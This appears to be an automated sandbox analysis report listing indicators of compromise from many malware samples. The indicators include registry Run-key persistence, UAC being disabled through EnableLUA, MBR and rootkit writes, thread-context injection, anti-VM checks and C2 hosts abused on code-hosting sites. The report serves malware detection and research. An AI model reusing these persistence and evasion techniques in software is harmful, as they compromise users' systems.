Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\Rmc-BAHBFO = "\"C:\\ProgramData\\viewer\\viewer.exe\""	1800.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Rmc-BAHBFO = "\"C:\\ProgramData\\viewer\\viewer.exe\""	viewer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Rmc-BAHBFO = "\"C:\\ProgramData\\viewer\\viewer.exe\""	1800.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\SBADLH = "\"C:\\Users\\Admin\\AppData\\Roaming\\Windata\\system.exe\""	NINJA.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\Yahoo Messengger = "C:\\Windows\\system32\\RVHOST.exe"	_vti_cnf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\Rmc-BAHBFO = "\"C:\\ProgramData\\viewer\\viewer.exe\""	viewer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\ladas.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000395001\\ladas.exe"	explorgu.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\dota.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000396001\\dota.exe"	explorgu.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\WSUS Update Client = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Files\\Temp1.exe\""	Temp1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\Yahoo Messengger = "C:\\Windows\\system32\\RVHOST.exe"	Wattyl.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\telemetry = "C:\\Users\\Admin\\AppData\\Roaming\\telemetry\\svcservice.exe"	23.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 4 IoCs

System Information Discovery

Processes:

File300un.exefilename.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	File300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	File300un.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	filename.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops desktop.ini file(s) 3 IoCs

Processes:

abc.exerty37.exe

description	ioc	process
File opened for modification	C:\$Recycle.Bin\S-1-5-21-3063448957-1373478339-3486599166-1000\desktop.ini	abc.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-3063448957-1373478339-3486599166-1000\desktop.ini	abc.exe
File opened for modification	C:\$RECYCLE.BIN\S-1-5-21-3063448957-1373478339-3486599166-1000\desktop.ini	rty37.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

msiexec.exeHelper.exemsiexec.exe_vti_cnf.exe

description	ioc	process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	Helper.exe
File opened (read-only)	\??\L:	Helper.exe
File opened (read-only)	\??\X:	Helper.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\u:	_vti_cnf.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\a:	_vti_cnf.exe
File opened (read-only)	\??\n:	_vti_cnf.exe
File opened (read-only)	\??\E:	Helper.exe
File opened (read-only)	\??\G:	Helper.exe
File opened (read-only)	\??\Q:	Helper.exe
File opened (read-only)	\??\S:	Helper.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\y:	_vti_cnf.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\b:	_vti_cnf.exe
File opened (read-only)	\??\I:	Helper.exe
File opened (read-only)	\??\W:	Helper.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	Helper.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\s:	_vti_cnf.exe
File opened (read-only)	\??\z:	_vti_cnf.exe
File opened (read-only)	\??\V:	Helper.exe
File opened (read-only)	\??\Z:	Helper.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\k:	_vti_cnf.exe
File opened (read-only)	\??\r:	_vti_cnf.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\m:	_vti_cnf.exe
File opened (read-only)	\??\A:	Helper.exe
File opened (read-only)	\??\M:	Helper.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\q:	_vti_cnf.exe
File opened (read-only)	\??\e:	_vti_cnf.exe
File opened (read-only)	\??\o:	_vti_cnf.exe
File opened (read-only)	\??\P:	Helper.exe
File opened (read-only)	\??\R:	Helper.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\x:	_vti_cnf.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\t:	_vti_cnf.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 51 IoCs

Web Service

T1102

Processes:

flow	ioc
313	raw.githubusercontent.com
1154	raw.githubusercontent.com
1711	raw.githubusercontent.com
1305	raw.githubusercontent.com
8	raw.githubusercontent.com
10	raw.githubusercontent.com
1013	raw.githubusercontent.com
1016	raw.githubusercontent.com
1002	raw.githubusercontent.com
1583	raw.githubusercontent.com
1646	raw.githubusercontent.com
1037	raw.githubusercontent.com
1209	bitbucket.org
1294	raw.githubusercontent.com
1218	raw.githubusercontent.com
1640	raw.githubusercontent.com
1655	raw.githubusercontent.com
1155	raw.githubusercontent.com
1704	raw.githubusercontent.com
1330	raw.githubusercontent.com
1580	raw.githubusercontent.com
1643	raw.githubusercontent.com
1015	raw.githubusercontent.com
1023	raw.githubusercontent.com
1233	raw.githubusercontent.com
1709	raw.githubusercontent.com
1713	raw.githubusercontent.com
1313	raw.githubusercontent.com
1152	raw.githubusercontent.com
1208	bitbucket.org
1577	raw.githubusercontent.com
124	bitbucket.org
312	raw.githubusercontent.com
1024	raw.githubusercontent.com
1150	raw.githubusercontent.com
1587	raw.githubusercontent.com
1085	raw.githubusercontent.com
1088	raw.githubusercontent.com
1089	raw.githubusercontent.com
1549	raw.githubusercontent.com
1574	raw.githubusercontent.com
1025	raw.githubusercontent.com
1086	raw.githubusercontent.com
1043	raw.githubusercontent.com
123	bitbucket.org
843	raw.githubusercontent.com
1227	raw.githubusercontent.com
1515	bitbucket.org
1022	raw.githubusercontent.com
1212	raw.githubusercontent.com
1556	raw.githubusercontent.com

Looks up external IP address via web service 8 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

172 api.2ip.ua
944 api.ipify.org
1018 whoer.net
1019 whoer.net
1223 api.ipify.org
40 ip-api.com
96 api.2ip.ua
97 api.2ip.ua
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMonFS csrss.exe
Modifies powershell logging option 1 TTPs
evasion

Modify Registry
T1112
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1542.003

Processes:

7e207560.exe

description ioc process

File opened for modification \??\PhysicalDrive0 7e207560.exe

flow	ioc
172	api.2ip.ua
944	api.ipify.org
1018	whoer.net
1019	whoer.net
1223	api.ipify.org
40	ip-api.com
96	api.2ip.ua
97	api.2ip.ua

description	ioc	process
File opened for modification	\??\WinMonFS	csrss.exe

description	ioc	process
File opened for modification	\??\PhysicalDrive0	7e207560.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000031001\fu.exe	autoit_exe

Drops file in System32 directory 24 IoCs

Processes:

images.exefilename.exepowershell.exepowershell.exe_vti_cnf.exeTemp1.exeWattyl.exeFourthX.exepowershell.exepowershell.exepowershell.exepowershell.exeasg.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\RVHOST.exe	images.exe
File opened for modification	C:\Windows\system32\MRT.exe	filename.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\SysWOW64\RVHOST.exe	_vti_cnf.exe
File opened for modification	C:\Windows\SysWOW64\SubDir\asg.exe	Temp1.exe
File opened for modification	C:\Windows\SysWOW64\RVHOST.exe	Wattyl.exe
File created	C:\Windows\SysWOW64\setting.ini	_vti_cnf.exe
File opened for modification	C:\Windows\system32\MRT.exe	FourthX.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\RVHOST.exe	_vti_cnf.exe
File opened for modification	C:\Windows\SysWOW64\setting.ini	_vti_cnf.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\SysWOW64\SubDir\asg.exe	asg.exe
File opened for modification	C:\Windows\SysWOW64\SubDir	asg.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\SubDir\asg.exe	Temp1.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

Processes:

abc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\1YwR2c1YK.bmp"	abc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\1YwR2c1YK.bmp"	abc.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs

Processes:

Conhost.execmd.exefilename.exeniks.exeamert.exeexplorgu.exeexplorgu.exeladas.exeupdater.exedota.exeexplorgu.exeexplorgu.exeladas.exeabc.exeexplorgu.exerhsgn_protected.exeexplorgu.exeplaza.execmd.exe

pid	process
2176	Conhost.exe
5852	cmd.exe
5020	filename.exe
2888	niks.exe
4040	amert.exe
4516	explorgu.exe
5840	explorgu.exe
1368	ladas.exe
2664	updater.exe
4900	dota.exe
4900	dota.exe
4900	dota.exe
4900	dota.exe
4900	dota.exe
4900	dota.exe
5932	explorgu.exe
4900	dota.exe
4900	dota.exe
4900	dota.exe
4900	dota.exe
4900	dota.exe
5316	explorgu.exe
4900	dota.exe
4900	dota.exe
4680	ladas.exe
4900	dota.exe
4900	dota.exe
4900	dota.exe
6948	abc.exe
6740	explorgu.exe
6948	abc.exe
6948	abc.exe
6948	abc.exe
6948	abc.exe
6948	abc.exe
4900	dota.exe
6264	rhsgn_protected.exe
6264	rhsgn_protected.exe
4900	dota.exe
6264	rhsgn_protected.exe
4900	dota.exe
6264	rhsgn_protected.exe
4900	dota.exe
6264	rhsgn_protected.exe
4900	dota.exe
6264	rhsgn_protected.exe
8132	explorgu.exe
7372	plaza.exe
4900	dota.exe
6264	rhsgn_protected.exe
7372	plaza.exe
4900	dota.exe
7372	plaza.exe
4900	dota.exe
7372	plaza.exe
6416	cmd.exe
7372	plaza.exe
4900	dota.exe
7372	plaza.exe
4900	dota.exe
7372	plaza.exe
4900	dota.exe
7372	plaza.exe
4900	dota.exe

Suspicious use of SetThreadContext 44 IoCs

Processes:

.exeFile300un.exeConhost.exeBEF8.exefor.exefirefox.exebuild2.exe4AD0.exeConhost.exeghjk.exeinstall.exebuild3.exeasdfg.exegzexiztdwrwd.exelolololoMRK123.exefor.exeopenwith.exeNational.exeBBLb.exeplink.exegoldprime12241421421.exeiojmibhyhiws.exemode.comlumma123142124.exeghost.exenative.exeviewer.exea0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exeabtc8mhlbehqil.exehiuhehufw.exeliveupdate.exenpp.8.6.2.Installer.x64.execmd.execrpta.exef4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exegpupdate.exeminuscrypt_crypted.exeexplorgu.execertutil.exe865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exesoft.exe96CD.exelumma1234.exe

description	pid	process	target process
PID 4800 set thread context of 2392	4800	.exe	vbc.exe
PID 664 set thread context of 2856	664	File300un.exe	calc.exe
PID 2292 set thread context of 4268	2292	Conhost.exe	96CD.exe
PID 1668 set thread context of 4856	1668	BEF8.exe	RegAsm.exe
PID 876 set thread context of 512	876	for.exe	RegAsm.exe
PID 4480 set thread context of 2572	4480	firefox.exe	96CD.exe
PID 5072 set thread context of 1336	5072	build2.exe	build2.exe
PID 5132 set thread context of 6104	5132	4AD0.exe	RegAsm.exe
PID 1600 set thread context of 5508	1600	Conhost.exe	MsBuild.exe
PID 4812 set thread context of 5524	4812	ghjk.exe	ghjk.exe
PID 5428 set thread context of 2140	5428	install.exe	images.exe
PID 4360 set thread context of 1332	4360	build3.exe	build3.exe
PID 4028 set thread context of 6216	4028	asdfg.exe	asdfg.exe
PID 5204 set thread context of 4112	5204	gzexiztdwrwd.exe	explorer.exe
PID 616 set thread context of 7128	616	lolololoMRK123.exe	RegAsm.exe
PID 5448 set thread context of 6936	5448	for.exe	RegAsm.exe
PID 6620 set thread context of 6408	6620	openwith.exe	lumma.exe
PID 6896 set thread context of 6432	6896	National.exe	MsBuild.exe
PID 4696 set thread context of 5276	4696	BBLb.exe	BBLb.exe
PID 7388 set thread context of 7436	7388	plink.exe	explorer.exe
PID 828 set thread context of 7512	828	goldprime12241421421.exe	RegAsm.exe
PID 5784 set thread context of 7808	5784	iojmibhyhiws.exe	conhost.exe
PID 5784 set thread context of 7224	5784	iojmibhyhiws.exe	conhost.exe
PID 5660 set thread context of 7456	5660	mode.com	RegAsm.exe
PID 224 set thread context of 3604	224	lumma123142124.exe	RegAsm.exe
PID 6968 set thread context of 5580	6968	ghost.exe	ghost.exe
PID 7840 set thread context of 6488	7840	native.exe	jsc.exe
PID 7036 set thread context of 6880	7036	viewer.exe	iexplore.exe
PID 4364 set thread context of 7468	4364	a0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exe	a0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exe
PID 5780 set thread context of 7180	5780	abtc8mhlbehqil.exe	sc.exe
PID 3332 set thread context of 6736	3332	hiuhehufw.exe	MsBuild.exe
PID 6892 set thread context of 6552	6892	liveupdate.exe	cmd.exe
PID 6252 set thread context of 5760	6252	npp.8.6.2.Installer.x64.exe	npp.8.6.2.Installer.x64.exe
PID 6816 set thread context of 4744	6816	cmd.exe	1e3d458e7ef866069259cb3b13b761e46f6278c3fca69ca846baca650b4e0f72.exe
PID 7464 set thread context of 6420	7464	crpta.exe	RegAsm.exe
PID 7004 set thread context of 6716	7004	f4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exe	f4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exe
PID 8512 set thread context of 3800	8512	gpupdate.exe	RuntimeBroker.exe
PID 6724 set thread context of 7648	6724	minuscrypt_crypted.exe	AppLaunch.exe
PID 9176 set thread context of 8712	9176	explorgu.exe	07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe
PID 8564 set thread context of 7012	8564	certutil.exe	explorer.exe
PID 8392 set thread context of 8124	8392	865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe	RegAsm.exe
PID 8844 set thread context of 6696	8844	soft.exe	soft.exe
PID 5348 set thread context of 8392	5348	96CD.exe	865b3db67f0565e0b41e72aa036d78183c33dab95bd4be7b4f13aebda88ab0c0.exe
PID 9104 set thread context of 8452	9104	lumma1234.exe	RegAsm.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

d21cbe21e38b385a41a68c5e6dd32f4c.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN d21cbe21e38b385a41a68c5e6dd32f4c.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	d21cbe21e38b385a41a68c5e6dd32f4c.exe

Drops file in Program Files directory 4 IoCs

Processes:

chrome.exepowershell.exe

description	ioc	process
File opened for modification	C:\Program Files\Google\Chrome\Application\debug.log	chrome.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\debug.log	chrome.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\debug.log	powershell.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\debug.log	powershell.exe

Drops file in Windows directory 19 IoCs

Processes:

d21cbe21e38b385a41a68c5e6dd32f4c.exe_vti_cnf.exemsiexec.exeWattyl.exeschtasks.execp.execmd.exeAmadey.exeimages.exeamert.exe

description	ioc	process
File opened for modification	C:\Windows\rss	d21cbe21e38b385a41a68c5e6dd32f4c.exe
File opened for modification	C:\Windows\RVHOST.exe	_vti_cnf.exe
File opened for modification	C:\Windows\Installer\e60b1d0.msi	msiexec.exe
File opened for modification	C:\Windows\RVHOST.exe	Wattyl.exe
File opened for modification	C:\Windows\Installer\MSI76F4.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4B66.tmp	msiexec.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	schtasks.exe
File created	C:\Windows\RVHOST.exe	_vti_cnf.exe
File created	C:\Windows\Installer\e60b1d0.msi	msiexec.exe
File created	C:\Windows\Tasks\MSI.CentralServer.job	cp.exe
File opened for modification	C:\Windows\Installer\MSI17F0.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2A50.tmp	msiexec.exe
File created	C:\Windows\rss\csrss.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
File created	C:\Windows\Tasks\explorgu.job	cmd.exe
File created	C:\Windows\Tasks\chrosha.job	Amadey.exe
File opened for modification	C:\Windows\RVHOST.exe	images.exe
File created	C:\Windows\Tasks\explorgu.job	amert.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	schtasks.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe

Launches sc.exe 26 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
7400	sc.exe
9128	sc.exe
7180	sc.exe
4788	sc.exe
5980	sc.exe
4324	sc.exe
5444	sc.exe
4244	sc.exe
6556	sc.exe
5584	sc.exe
3512	sc.exe
7908	sc.exe
7392	sc.exe
5964	sc.exe
4792	sc.exe
7264	sc.exe
7276	sc.exe
6328	sc.exe
6788	sc.exe
1728	sc.exe
3388	sc.exe
6484	sc.exe
2124	sc.exe
1732	sc.exe
5672	sc.exe
7088	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 53 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
924	5068	WerFault.exe	nine.exe
4188	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
4896	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
2620	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
628	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
1812	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
2572	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
4584	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
1208	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
2004	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
3776	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
3676	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
1960	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
1520	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
2204	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
1192	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
3980	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
1732	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
4468	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
4652	524	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
4676	2636	WerFault.exe	StealerClient_Sharp_1_4.exe
2368	2784	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
2164	2784	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
1460	2784	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
2868	2784	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
208	2784	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
4636	2784	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
3632	2784	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
2660	2784	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
1116	2784	WerFault.exe	d21cbe21e38b385a41a68c5e6dd32f4c.exe
4684	4840	WerFault.exe	a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe
488	4840	WerFault.exe	a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe
4288	4840	WerFault.exe	a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe
2244	4840	WerFault.exe	a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe
2480	4840	WerFault.exe	a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe
1400	4840	WerFault.exe	a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe
4340	4840	WerFault.exe	a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe
1132	2172	WerFault.exe	csrss.exe
4680	2172	WerFault.exe	csrss.exe
2960	2172	WerFault.exe	csrss.exe
4272	2172	WerFault.exe	csrss.exe
1132	2172	WerFault.exe	csrss.exe
1460	2172	WerFault.exe	csrss.exe
4532	2172	WerFault.exe	csrss.exe
4792	2172	WerFault.exe	csrss.exe
5072	2172	WerFault.exe	csrss.exe
5952	1336	WerFault.exe	build2.exe
3304	5524	WerFault.exe	ghjk.exe
4444	5524	WerFault.exe	ghjk.exe
1516	2172	WerFault.exe	csrss.exe
5944	2172	WerFault.exe	csrss.exe
2196	2172	WerFault.exe	csrss.exe
5752	5452	WerFault.exe	32.exe

Checks SCSI registry key(s) 3 TTPs 30 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

asg.exeMsiExec.exe987123.execb0e88abe7aee128ff8635e44df9797d0224aff000d03fc5d9166e575b50f4a1.exe07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exetoolspub1.exea0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exeuuishcr721E.exe83f32a3d2dc9e3d9903f395a20b8ddd74a1f35487c6dffd67d9d9a014961f9d0.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	asg.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MsiExec.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	987123.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	cb0e88abe7aee128ff8635e44df9797d0224aff000d03fc5d9166e575b50f4a1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	07c0acc9cd9a6ae4af685344e28e0a756d3f3a77a60f607d3f90f493d7061108.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	a0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	cb0e88abe7aee128ff8635e44df9797d0224aff000d03fc5d9166e575b50f4a1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	cb0e88abe7aee128ff8635e44df9797d0224aff000d03fc5d9166e575b50f4a1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	uuishcr
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	721E.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MsiExec.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	MsiExec.exe
